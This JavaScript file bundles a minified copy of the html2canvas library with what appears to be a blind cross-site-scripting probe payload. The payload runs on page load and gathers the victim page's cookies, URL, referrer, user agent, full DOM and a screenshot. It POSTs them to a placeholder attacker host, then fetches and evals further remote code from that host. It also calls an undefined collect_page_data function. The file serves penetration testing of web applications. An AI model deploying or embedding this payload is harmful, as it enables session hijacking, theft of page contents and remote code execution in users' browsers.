text: // https://github.com/niklasvh/html2canvas
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i=function(t,e,n){return{x:t.x+(e.x-t.x)*n,y:t.y+(e.y-t.y)*n}};return{start:t,startControl:e,endControl:n,end:r,subdivide:function(o){var s=i(t,e,o),a=i(e,n,o),c=i(n,r,o),h=i(s,a,o),u=i(a,c,o),p=i(h,u,o);return[_(t,s,h,p),_(p,u,c,r)]},curveTo:function(t){t.push(["bezierCurve",e.x,e.y,n.x,n.y,r.x,r.y])},curveToReversed:function(r){r.push(["bezierCurve",n.x,n.y,e.x,e.y,t.x,t.y])}}}function F(t,e,n,r,i,o,s){var a=[];return e[0]>0||e[1]>0?(a.push(["line",r[1].start.x,r[1].start.y]),r[1].curveTo(a)):a.push(["line",t.c1[0],t.c1[1]]),n[0]>0||n[1]>0?(a.push(["line",o[0].start.x,o[0].start.y]),o[0].curveTo(a),a.push(["line",s[0].end.x,s[0].end.y]),s[0].curveToReversed(a)):(a.push(["line",t.c2[0],t.c2[1]]),a.push(["line",t.c3[0],t.c3[1]])),e[0]>0||e[1]>0?(a.push(["line",i[1].end.x,i[1].end.y]),i[1].curveToReversed(a)):a.push(["line",t.c4[0],t.c4[1]]),a}function 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e=t.parseBounds(),n=this.parseBorders(t);switch(this.renderer.clip(n.clip,function(){this.renderer.renderBackground(t,e,n.borders.map(se))},this),this.renderer.renderBorders(n.borders),t.node.nodeName){case"svg":var r=this.images.get(t.node);r?this.renderer.renderImage(t,e,n,r):E("Error loading <svg>",t.node);break;case"IMG":var i=this.images.get(t.node.src);i?this.renderer.renderImage(t,e,n,i):E("Error loading <img>",t.node.src);break;case"SELECT":case"INPUT":case"TEXTAREA":this.paintFormValue(t)}},P.prototype.paintFormValue=function(t){if(t.getValue().length>0){var e=t.node.ownerDocument,n=e.createElement("html2canvaswrapper"),r=["lineHeight","textAlign","fontFamily","fontWeight","fontSize","color","paddingLeft","paddingTop","paddingRight","paddingBottom","width","height","borderLeftStyle","borderTopStyle","borderLeftWidth","borderTopWidth","boxSizing","whiteSpace","wordWrap"];
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e=t.bounds,n=U(t),r=["Top","Right","Bottom","Left"].map(function(e){return{width:t.cssInt("border"+e+"Width"),color:t.css("border"+e+"Color"),args:null}}),i=D(e,n,r);return{clip:this.parseBackgroundClip(t,i,r,n,e),borders:r.map(function(t,o){if(t.width>0){var s=e.left,a=e.top,c=e.width,h=e.height-r[2].width;switch(o){case 0:h=r[0].width,t.args=F({c1:[s,a],c2:[s+c,a],c3:[s+c-r[1].width,a+h],c4:[s+r[3].width,a+h]},n[0],n[1],i.topLeftOuter,i.topLeftInner,i.topRightOuter,i.topRightInner);break;case 1:s=e.left+e.width-r[1].width,c=r[1].width,t.args=F({c1:[s+c,a],c2:[s+c,a+h+r[2].width],c3:[s,a+h],c4:[s,a+r[0].width]},n[1],n[2],i.topRightOuter,i.topRightInner,i.bottomRightOuter,i.bottomRightInner);break;case 2:a=a+e.height-r[2].width,h=r[2].width,t.args=F({c1:[s+c,a+h],c2:[s,a+h],c3:[s+r[3].width,a],c4:[s+c-r[3].width,a]},n[2],n[3],i.bottomRightOuter,i.bottomRightInner,i.bottomLeftOuter,i.bottomLeftInner);break;case 3:c=r[3].width,t.args=F({c1:[s,a+h+r[2].width],c2:[s,a],c3:[s+c,a+r[0].width],c4:[s+c,a+h]},n[3],n[0],i.bottomLeftOuter,i.bottomLeftInner,i.topLeftOuter,i.topLeftInner)}}return t})}},P.prototype.parseBackgroundClip=function(t,e,n,r,i){var o=t.css("backgroundClip"),s=[];switch(o){case"content-box":case"padding-box":W(s,r[0],r[1],e.topLeftInner,e.topRightInner,i.left+n[3].width,i.top+n[0].width),W(s,r[1],r[2],e.topRightInner,e.bottomRightInner,i.left+i.width-n[1].width,i.top+n[0].width),W(s,r[2],r[3],e.bottomRightInner,e.bottomLeftInner,i.left+i.width-n[1].width,i.top+i.height-n[2].width),W(s,r[3],r[0],e.bottomLeftInner,e.topLeftInner,i.left+n[3].width,i.top+i.height-n[2].width);break;default:W(s,r[0],r[1],e.topLeftOuter,e.topRightOuter,i.left,i.top),W(s,r[1],r[2],e.topRightOuter,e.bottomRightOuter,i.left+i.width,i.top),W(s,r[2],r[3],e.bottomRightOuter,e.bottomLeftOuter,i.left+i.width,i.top+i.height),W(s,r[3],r[0],e.bottomLeftOuter,e.topLeftOuter,i.left,i.top+i.height)}return s},P.prototype.pseudoHideClass="___html2canvas___pseudoelement";var Te=0;pe.prototype.renderImage=function(t,e,n,r){var i=t.cssInt("paddingLeft"),o=t.cssInt("paddingTop"),s=t.cssInt("paddingRight"),a=t.cssInt("paddingBottom"),c=n.borders,h=e.width-(c[1].width+c[3].width+i+s),u=e.height-(c[0].width+c[2].width+o+a);this.drawImage(r,0,0,r.image.width||h,r.image.height||u,e.left+i+c[3].width,e.top+o+c[0].width,h,u)},pe.prototype.renderBackground=function(t,e,n){e.height>0&&e.width>0&&(this.renderBackgroundColor(t,e),this.renderBackgroundImage(t,e,n))},pe.prototype.renderBackgroundColor=function(t,e){var n=t.css("backgroundColor");this.isTransparent(n)||this.rectangle(e.left,e.top,e.width,e.height,t.css("backgroundColor"))},pe.prototype.renderBorders=function(t){t.forEach(this.renderBorder,this)},pe.prototype.renderBorder=function(t){this.isTransparent(t.color)||null===t.args||this.drawShape(t.args,t.color)},pe.prototype.renderBackgroundImage=function(t,e,n){var r=t.parseBackgroundImages();r.reverse().forEach(function(r,i,o){switch(r.method){case"url":var s=this.images.get(r.args[0]);s?this.renderBackgroundRepeating(t,e,s,o.length-(i+1),n):E("Error loading background-image",r.args[0]);break;case"linear-gradient":case"gradient":var a=this.images.get(r.value);a?this.renderBackgroundGradient(a,e,n):E("Error loading background-image",r.args[0]);break;case"none":break;default:E("Unknown background-image type",r.args[0])}},this)},pe.prototype.renderBackgroundRepeating=function(t,e,n,r,i){var o=t.parseBackgroundSize(e,n.image,r),s=t.parseBackgroundPosition(e,n.image,r,o),a=t.parseBackgroundRepeat(r);switch(a){case"repeat-x":case"repeat no-repeat":this.backgroundRepeatShape(n,s,o,e,e.left+i[3],e.top+s.top+i[0],99999,n.image.height,i);break;case"repeat-y":case"no-repeat repeat":this.backgroundRepeatShape(n,s,o,e,e.left+s.left+i[3],e.top+i[0],n.image.width,99999,i);break;case"no-repeat":this.backgroundRepeatShape(n,s,o,e,e.left+s.left+i[3],e.top+s.top+i[0],n.image.width,n.image.height,i);break;default:this.renderBackgroundRepeat(n,s,o,{top:e.top,left:e.left},i[3],i[0])}},pe.prototype.isTransparent=function(t){return!t||"transparent"===t||"rgba(0, 0, 0, 0)"===t},le.prototype=Object.create(T.prototype),le.prototype.getParentStack=function(t){var e=this.parent?this.parent.stack:null;return e?e.ownStacking?e:e.getParentStack(t):t.stack},de.prototype.testRangeBounds=function(t){var e,n,r,i,o=!1;return t.createRange&&(e=t.createRange(),e.getBoundingClientRect&&(n=t.createElement("boundtest"),n.style.height="123px",n.style.display="block",t.body.appendChild(n),e.selectNode(n),r=e.getBoundingClientRect(),i=r.height,123===i&&(o=!0),t.body.removeChild(n))),o},de.prototype.testCORS=function(){return"undefined"!=typeof(new Image).crossOrigin},de.prototype.testSVG=function(){var t=new Image,n=e.createElement("canvas"),r=n.getContext("2d");t.src="data:image/svg+xml,<svg xmlns='http://www.w3.org/2000/svg'></svg>";try{r.drawImage(t,0,0),n.toDataURL()}catch(i){return!1}return!0},fe.prototype.hasFabric=function(){return html2canvas.fabric?Promise.resolve():Promise.reject(new Error("html2canvas.svg.js is not loaded, cannot render svg"))},fe.prototype.inlineFormatting=function(t){return/^data:image\/svg\+xml;base64,/.test(t)?this.decode64(this.removeContentType(t)):this.removeContentType(t)},fe.prototype.removeContentType=function(t){return t.replace(/^data:image\/svg\+xml(;base64)?,/,"")},fe.prototype.isInline=function(t){return/^data:image\/svg\+xml/i.test(t)},fe.prototype.createCanvas=function(t){var e=this;return function(n,r){var i=new html2canvas.fabric.StaticCanvas("c");e.image=i.lowerCanvasEl,i.setWidth(r.width).setHeight(r.height).add(html2canvas.fabric.util.groupSVGElements(n,r)).renderAll(),t(i.lowerCanvasEl)}},fe.prototype.decode64=function(e){return"function"==typeof t.atob?t.atob(e):ge(e)},me.prototype=Object.create(fe.prototype),ye.prototype=Object.create(T.prototype),ye.prototype.applyTextTransform=function(){this.node.data=this.transform(this.parent.css("textTransform"))},ye.prototype.transform=function(t){var e=this.node.data;switch(t){case"lowercase":return e.toLowerCase();case"capitalize":return e.replace(/(^|\s|:|-|\(|\))([a-z])/g,ve);case"uppercase":return e.toUpperCase();default:return e}},we.prototype=Object.create(f.prototype),xe.prototype=Object.create(pe.prototype),xe.prototype.setFillStyle=function(t){return this.ctx.fillStyle=t,this.ctx},xe.prototype.rectangle=function(t,e,n,r,i){this.setFillStyle(i).fillRect(t,e,n,r)},xe.prototype.drawShape=function(t,e){this.shape(t),this.setFillStyle(e).fill()},xe.prototype.taints=function(t){if(null===t.tainted){this.taintCtx.drawImage(t.image,0,0);try{this.taintCtx.getImageData(0,0,1,1),t.tainted=!1}catch(n){this.taintCtx=e.createElement("canvas").getContext("2d"),t.tainted=!0}}return t.tainted},xe.prototype.drawImage=function(t,e,n,r,i,o,s,a,c){(!this.taints(t)||this.options.allowTaint)&&this.ctx.drawImage(t.image,e,n,r,i,o,s,a,c)},xe.prototype.clip=function(t,e,n){this.ctx.save(),this.shape(t).clip(),e.call(n),this.ctx.restore()},xe.prototype.shape=function(t){return this.ctx.beginPath(),t.forEach(function(t,e){this.ctx[0===e?"moveTo":t[0]+"To"].apply(this.ctx,t.slice(1))},this),this.ctx.closePath(),this.ctx},xe.prototype.font=function(t,e,n,r,i,o){this.setFillStyle(t).font=[e,n,r,i,o].join(" ")},xe.prototype.fontShadow=function(t,e,n,r){this.setVariable("shadowColor",t).setVariable("shadowOffsetY",e).setVariable("shadowOffsetX",n).setVariable("shadowBlur",r)},xe.prototype.clearShadow=function(){this.setVariable("shadowColor","rgba(0,0,0,0)")},xe.prototype.setOpacity=function(t){this.ctx.globalAlpha=t},xe.prototype.setTransform=function(t){this.ctx.translate(t.origin[0],t.origin[1]),this.ctx.transform.apply(this.ctx,t.matrix),this.ctx.translate(-t.origin[0],-t.origin[1])},xe.prototype.setVariable=function(t,e){return this.variables[t]!==e&&(this.variables[t]=this.ctx[t]=e),this},xe.prototype.text=function(t,e,n){this.ctx.fillText(t,e,n)},xe.prototype.backgroundRepeatShape=function(t,e,n,r,i,o,s,a,c){var h=[["line",Math.round(i),Math.round(o)],["line",Math.round(i+s),Math.round(o)],["line",Math.round(i+s),Math.round(a+o)],["line",Math.round(i),Math.round(a+o)]];this.clip(h,function(){this.renderBackgroundRepeat(t,e,n,r,c[3],c[0])},this)},xe.prototype.renderBackgroundRepeat=function(t,e,n,r,i,o){var s=Math.round(r.left+e.left+i),a=Math.round(r.top+e.top+o);this.setFillStyle(this.ctx.createPattern(this.resizeImage(t,n),"repeat")),this.ctx.translate(s,a),this.ctx.fill(),this.ctx.translate(-s,-a)},xe.prototype.renderBackgroundGradient=function(t,e){if(t instanceof x){var n=this.ctx.createLinearGradient(e.left+e.width*t.x0,e.top+e.height*t.y0,e.left+e.width*t.x1,e.top+e.height*t.y1);t.colorStops.forEach(function(t){n.addColorStop(t.stop,t.color)}),this.rectangle(e.left,e.top,e.width,e.height,n)}},xe.prototype.resizeImage=function(t,n){var r=t.image;if(r.width===n.width&&r.height===n.height)return r;var i,o=e.createElement("canvas");return o.width=n.width,o.height=n.height,i=o.getContext("2d"),i.drawImage(r,0,0,r.width,r.height,0,0,n.width,n.height),o}}(window,document);
  
  //TODO: chanload_uri - configurable in UI settings
  //TODO: collect_page_list - configurable in UI settings
  //TODO: url - configurable in UI settings
  
  var chainload_uri = "[[HOST_REPLACE_ME]]/hook";
  var collect_page_list = ["/"]
  
  function never_null( value ) {
      if( value !== undefined ) {
          return value;
      } else {
          return '';
      }
  }
  
  function send( results ) {
      var http = new XMLHttpRequest();
      var url = "[[HOST_REPLACE_ME]]/api";
      http.open("POST", url, true);
      http.setRequestHeader("Content-type", "application/json");
      http.onreadystatechange = function() {
          if(http.readyState == 4 && http.status == 200) {
              console.log("SENT")
          }
      }
      console.log(results)
      http.send( JSON.stringify( results ) );
  }
  
  function collect_pages() {
      for( var i = 0; i < collect_page_list.length; i++ ) {
          // Make sure the path is correctly formatted
          if( collect_page_list[i].charAt(0) != "/" ) {
              collect_page_list[i] = "/" + collect_page_list[i];
          }
          collect_page_data( collect_page_list[i] );
      }
  }
  
  function eval_remote_source( uri ) {
      var xhr = new XMLHttpRequest();
      xhr.onreadystatechange = function() {
          if ( xhr.readyState == XMLHttpRequest.DONE ) {
              eval( xhr.responseText );
          }
      }
      xhr.open( 'GET', uri, true );
      xhr.send( null );
  }
  
  results = {};
  
  // Prevent failure incase the browser refuses to give us any of the probe data.
  try {
      results['URI'] = never_null( location.toString() );
  } catch ( e ) {
      results['URI'] = '';
  }
  try {
      results['Cookies'] = never_null( document.cookie );
  } catch ( e ) {
      results['Cookies'] = '';
  }
  try {
      results['Referrer'] = never_null( document.referrer );
  } catch ( e ) {
      results['Referrer'] = '';
  }
  try {
      results['UserAgent'] = never_null( navigator.userAgent );
  } catch ( e ) {
      results['UserAgent'] = '';
  }
  try {
      results['BrowserDate'] = never_null( ( new Date().getTime().toString() ) );
  } catch ( e ) {
      results['BrowserDate'] = '';
  }
  try {
      results['UID'] = never_null( get_guid() ); //todo
  } catch ( e ) {
      results['UID'] = '';
  }
  try {
      results['Origin'] = never_null( location.origin );
  } catch ( e ) {
      results['Origin'] = '';
  }
  try {
      results['ID'] = "[PROBE_ID]"
  } catch ( e ) {
      results['ID'] = '';
  }
  try {
      results['Host'] = never_null( document.domain );
  } catch ( e ) {
      results['Host'] = '';
  }
  
  
  function addEvent(element, eventName, fn) {
      if (element.addEventListener)
          element.addEventListener(eventName, fn, false);
      else if (element.attachEvent)
          element.attachEvent('on' + eventName, fn);
  }
  
  function hook_load_if_not_ready() {
      try {
          try {
              results['DOM'] = never_null( document.documentElement.outerHTML );
          } catch ( e ) {
              results['DOM'] = '';
          }
          html2canvas(document.body).then(function(canvas) {
              results['Screenshot'] = canvas.toDataURL("image/png");
              finalize();
          });
      } catch( e ) {
          results['Screenshot'] = '';
          finalize();
      }
  }
  
  function finalize() {
      send( results );
      collect_pages();
      if( chainload_uri != "" && chainload_uri != null ) {
          eval_remote_source( chainload_uri );
      }
  }
  
  if( document.readyState == "complete" ) {
      hook_load_if_not_ready();
  } else {
      document
      addEvent( window, "load", function(){
          hook_load_if_not_ready();
      });
  }
  